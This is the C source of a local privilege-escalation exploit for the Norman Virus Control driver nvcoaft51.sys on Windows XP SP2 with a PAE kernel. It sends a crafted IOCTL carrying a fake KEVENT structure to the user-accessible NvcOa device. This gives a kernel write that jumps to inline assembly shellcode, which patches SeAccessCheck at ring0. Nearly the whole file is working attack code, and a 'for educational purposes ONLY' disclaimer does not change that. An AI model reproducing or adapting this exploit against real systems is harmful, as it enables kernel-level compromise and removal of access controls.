/* Norman Virus Control nvcoaft51.sys ioctl BF672028 exploit Abstract nvcoaft51.sys driver receive as parameter in some ioctl's a pointer to a KEVENT struct, calling KeSetEvent without any prior check. The device created by the driver (NvcOa) can be opened by any user. As result, a user can send a IOCTL with a fake KEVENT struct and finish executing code at ring0 Author inocraM - inocram[at]48bits[dot]com 48bits I+D team www.48bits.com OS Tested against Windows XP SP2 (spanish) with a PAE kernel. For educational purposes ONLY */ #define _CRT_SECURE_NO_DEPRECATE #include #include #define XPLT_KEVENT_IOCTL 0xbf672028 /* PSAPI */ typedef BOOL (WINAPI * ENUM_DEVICE_DRIVERS)(LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded); typedef DWORD (WINAPI * GET_DEVICE_DRIVER_BASE_NAME)(LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize); typedef struct _PS { HMODULE hLib; ENUM_DEVICE_DRIVERS pEnumDeviceDrivers; GET_DEVICE_DRIVER_BASE_NAME pGetDeviceDriverBaseName; }PS, *PPS; VOID psUnload(PPS pps) { if(pps) { if(pps->hLib) { FreeLibrary(pps->hLib); } free(pps); } } PPS psLoad() { PPS pps; pps = (PPS) malloc(sizeof(PS)); if(pps) { pps->hLib = LoadLibraryA("psapi"); if(pps->hLib) { pps->pEnumDeviceDrivers = (ENUM_DEVICE_DRIVERS)GetProcAddress(pps->hLib, "EnumDeviceDrivers"); pps->pGetDeviceDriverBaseName = (GET_DEVICE_DRIVER_BASE_NAME)GetProcAddress(pps->hLib,"GetDeviceDriverBaseNameA"); if(!pps->pEnumDeviceDrivers || !pps->pGetDeviceDriverBaseName) { psUnload(pps); pps = NULL; } } else { free(pps); pps = NULL; } } return pps; } BOOL psEnumDeviceDrivers(PPS pps, LPVOID* lpImageBase,DWORD cb,LPDWORD lpcbNeeded) { return pps->pEnumDeviceDrivers(lpImageBase, cb, lpcbNeeded); } DWORD psGetDeviceDriverBaseName(PPS pps, LPVOID ImageBase,LPSTR lpBaseName,DWORD nSize) { return pps->pGetDeviceDriverBaseName(ImageBase, lpBaseName, nSize); } LPVOID psGetImageBaseByBaseName(PPS pps, LPCSTR szName) { DWORD dwSize = 0; LPVOID *pDevices = NULL; LPVOID pResult = NULL; if(psEnumDeviceDrivers(pps, NULL, 0, &dwSize) && (dwSize > 0)) { pDevices = (LPVOID*)malloc(dwSize); if(pDevices) { if(psEnumDeviceDrivers(pps, pDevices, dwSize, &dwSize)) { DWORD i = 0; DWORD dwNumberOfDrivers; dwNumberOfDrivers = dwSize / sizeof(LPVOID); while((i < dwNumberOfDrivers) && (NULL == pResult)) { char szBaseName[MAX_PATH]; if(psGetDeviceDriverBaseName(pps, pDevices[i], szBaseName, sizeof(szBaseName))) { if(!_stricmp(szBaseName,szName)) { pResult = pDevices[i]; } } i++; } } free(pDevices); } } return pResult; } /* OS detection */ #define OS_VERSION_UNKNOWN 0x00000000 #define OS_VERSION_NT 0x00010000 #define OS_VERSION_9X 0x00020000 #define OS_VERSION_WIN32S 0x00030000 #define OS_VERSION_NT4 OS_VERSION_NT + 0x00001000 #define OS_VERSION_2K OS_VERSION_NT + 0x00002000 #define OS_VERSION_XP OS_VERSION_NT + 0x00003000 #define OS_VERSION_2K3 OS_VERSION_NT + 0x00004000 #define OS_VERSION_VISTA OS_VERSION_NT + 0x00005000 #define OS_VERSION_95 OS_VERSION_9X + 0x00001000 #define OS_VERSION_98 OS_VERSION_9X + 0x00002000 #define OS_VERSION_ME OS_VERSION_9X + 0x00003000 DWORD GetWindows9xVersion(POSVERSIONINFOEXA posvi) { DWORD dwVersion; if(posvi->dwMajorVersion == 4) { switch(posvi->dwMinorVersion) { case 0: dwVersion = OS_VERSION_95; break; case 10: // TODO : we need extra code. this can be Windows ME dwVersion = OS_VERSION_98; break; case 90: dwVersion = OS_VERSION_ME; break; default: dwVersion = OS_VERSION_UNKNOWN; } } else { dwVersion = OS_VERSION_UNKNOWN; } return dwVersion; } DWORD GetWindowsNtVersion(POSVERSIONINFOEXA posvi, PUINT pServicePack) { DWORD dwVersion; switch(posvi->dwMajorVersion) { case 6: dwVersion = OS_VERSION_VISTA; break; case 5: switch(posvi->dwMinorVersion) { case 2: dwVersion = OS_VERSION_2K3; break; case 1: dwVersion = OS_VERSION_XP; break; case 0: dwVersion = OS_VERSION_2K; break; default: dwVersion = OS_VERSION_UNKNOWN; } break; case 4: case 3: case 2: case 1: case 0: dwVersion = OS_VERSION_NT4; break; default: dwVersion = OS_VERSION_UNKNOWN; } // TODO : dont work correctly in various windows Versions. fix it. if((OS_VERSION_UNKNOWN != dwVersion) && (NULL != pServicePack)) { if(sizeof(OSVERSIONINFOEXA) == posvi->dwOSVersionInfoSize) { (*pServicePack) = posvi->wServicePackMajor; } else { // TODO : parse szCSDVersion } } return dwVersion; } // TODO : doesnt find correct SP for various windows versions, fix! DWORD GetWindowsVersionBase(PUINT pServicePack) { OSVERSIONINFOEXA osvi; DWORD dwVersion; if(pServicePack) { (*pServicePack) = 0; } memset(&osvi, 0, sizeof(OSVERSIONINFOEXA)); osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEXA); if(FALSE == GetVersionExA((LPOSVERSIONINFOA)&osvi)) { osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOA); if(!GetVersionExA((LPOSVERSIONINFOA)&osvi)) { return OS_VERSION_UNKNOWN; } } switch(osvi.dwPlatformId) { case VER_PLATFORM_WIN32_NT: dwVersion = GetWindowsNtVersion(&osvi, pServicePack); break; case VER_PLATFORM_WIN32_WINDOWS: dwVersion = GetWindows9xVersion(&osvi); break; case VER_PLATFORM_WIN32s: dwVersion = OS_VERSION_WIN32S; break; default: dwVersion = OS_VERSION_UNKNOWN; } return dwVersion; } DWORD GetWindowsVersion(PUINT pServicePack) { static BOOL bFirstCall = TRUE; static DWORD OsVersion; static UINT ServicePack; if(bFirstCall) { OsVersion = GetWindowsVersionBase(&ServicePack); bFirstCall = FALSE; } if(pServicePack) { (*pServicePack) = ServicePack; } return OsVersion; } HANDLE OpenDevice(LPCSTR szDevice, DWORD dwDesiredAccess, DWORD dwShareMode) { return CreateFileA(szDevice,dwDesiredAccess,dwShareMode,NULL,OPEN_EXISTING,0,NULL); } VOID CloseDevice(HANDLE hDevice) { CloseHandle(hDevice); } BOOL xpltCheckWindowsVersion() { DWORD dwOsVersion; BOOL bResult = FALSE; UINT ServicePack; printf("(*)Checking OS Version...\n"); dwOsVersion = GetWindowsVersion(&ServicePack); if((OS_VERSION_XP == dwOsVersion) && (ServicePack == 2)) { printf("(+)Detected Windows XP SP2.\n"); bResult = TRUE; } else { printf("(-)This exploit only runs on Windows XP SP2. Sorry.\n"); } return bResult; } HANDLE xpltOpenNvc0a() { HANDLE hDevice; printf("(*)Opening NvcOa device...\n"); hDevice = OpenDevice("\\\\.\\NvcOa", GENERIC_READ + GENERIC_WRITE, 0); if(INVALID_HANDLE_VALUE != hDevice) { printf("(+)Successfully opened NvcOa.\n"); } else { printf("(-)Unable to open NvcOa. Sorry.\n"); } return hDevice; } VOID xpltCloseNvc0a(HANDLE hDevice) { CloseDevice(hDevice); printf("(+)NvcOa device closed.\n"); } PPS xpltInitializePsApi() { PPS pps; printf("(*)Loading PSAPI...\n"); pps = psLoad(); if(NULL != pps) { printf("(+)PSAPI loaded OK.\n"); } else { printf("(-)Unable to load PSAPI. Sorry.\n"); } return pps; } VOID xpltFreePsApi(PPS pps) { psUnload(pps); printf("(+)PSAPI Unloaded.\n"); } LPBYTE xpltGetKernelBase(PPS pps, PBOOL pbPaeKernel) { LPBYTE pKernelBase; printf("(*)Looking for NTOSKRNL base...\n"); (*pbPaeKernel) = FALSE; pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTOSKRNL.EXE"); if(pKernelBase) { printf("(+)NTOSKRNL base found at %#x.\n",pKernelBase); } else { pKernelBase = (LPBYTE) psGetImageBaseByBaseName(pps, "NTKRNLPA.EXE"); if(pKernelBase) { printf("(+)NTOSKRNL(PAE) base found at %#x.\n",pKernelBase); if(pbPaeKernel) { (*pbPaeKernel) = TRUE; } } else { printf("(-)Unable to find NTOSKRNL base. Sorry.\n"); } } return pKernelBase; } /* when the ioctl with a fake event structure is sent a dword with the opcode "jmp[ecx]" is written and this code is reached. Be careful writing your own shellcode. Remember that u are at DPC level */ __declspec(naked) void xpltPatchAndGo (void) { __asm { add esp,4 pop esi /* get a return addr to use as reference */ mov dword ptr[esi-0x60], 0x8B047289 /* patch the jmp[ecx] with the correct code */ mov word ptr[esi+0xE5303], 0x9090 /* patch SeAccessCheck :o) */ mov esp, ebp /* reconstruct the stack */ add esp, 0x10 xor bl, bl /* set IRQL value */ xor edi, edi /* set return value */ sub esi, 0x759F push esi /* set retun address... */ ret /* and go */ } } VOID xpltExecuteExploit(HANDLE hDevice, PBYTE pNtosBase, BOOL bPaeKernel) { #ifdef _DEBUG DebugBreak(); #endif if(!bPaeKernel) { printf("(-)This exploit is only runs on a PAE kernel system. Sorry.\n"); } else { DWORD dwReturnedBytes; DWORD Buffer[1024]; /* user buffer size is not checked */ /* properly so i use a big enough buffer */ /* and i dont worry abaut it */ DWORD Event[31]; /* our event struct */ printf("(*)Trying to exploit the NvCoaft51 KeSetEvent vuln...\n"); printf("(*)Writing fake event struct...\n"); *(BYTE*)Event = 1; /* set event type as Synchronization Event */ Event[2] = (DWORD)&(Event[3]); /* set event wait list as not empty so in */ /* event[3] start the first wait block */ Event[3] = (DWORD)&(Event[4]); /* set first element of the wait list */ /* event[4] will be our wait block */ ((WORD*)Event)[17] = 1; /* set the wait block type to WaitAny */ Event[5] = (DWORD)&(Event[7]); /* set the trhead for the wait block, so */ /* event[7] will be our thread start */ Event[7] = (DWORD)xpltPatchAndGo; /* i put the shellcode addr on the first */ /* dword of the thread. This value is not */ /* checked by KeSetEvent related code, and */ /* the event struct will remain referenced */ /* by ecx,so writing a jmp[ecx] the */ /* shellocde will be reached */ Event[30] = (DWORD)&(Event[10]); /* fill thread wait block list with data */ /* so in event[10] start this wait block. */ /* First two dwords of the kwait block */ /* struct are a list entry. system will */ /* try to remove a item from this double */ /* linked list, and as consecuence, we */ /* can write an arbitrary dword at any */ /* address */ Event[10] = 0x000021FF; /* first entry will be a opcode, jmp[ecx] */ Event[11] = (DWORD)(pNtosBase + 0x291B4); /* second entry will be the address of th */ /* next opcode addr, and as result we will */ /* jmp to our shellcode */ Buffer[0] = (DWORD)(((PBYTE)(&Event)) - 0x84C); /* store our "event" in the ioctl buffer */ /* and explit it :o) */ printf("(*)Sending IOCTL...\n"); DeviceIoControl(hDevice,XPLT_KEVENT_IOCTL,Buffer,sizeof(Buffer),Buffer,sizeof(Buffer),&dwReturnedBytes,NULL); printf("(+)IOCT sent. SeAccessCheck is now patched???\n"); } } VOID xpltExecute() { if(xpltCheckWindowsVersion()) { PPS pps; pps = xpltInitializePsApi(); if(NULL != pps) { LPBYTE pKernelBase; BOOL bPaeKernel; pKernelBase = xpltGetKernelBase(pps,&bPaeKernel); if(NULL != pKernelBase) { HANDLE hDevice; hDevice = xpltOpenNvc0a(); if(INVALID_HANDLE_VALUE != hDevice) { xpltExecuteExploit(hDevice, pKernelBase, bPaeKernel); xpltCloseNvc0a(hDevice); } } xpltFreePsApi(pps); } } } int main(int argc, char * argv[]) { UNREFERENCED_PARAMETER(argc); UNREFERENCED_PARAMETER(argv); #ifdef _DEBUG DebugBreak(); #endif xpltExecute(); return 0; }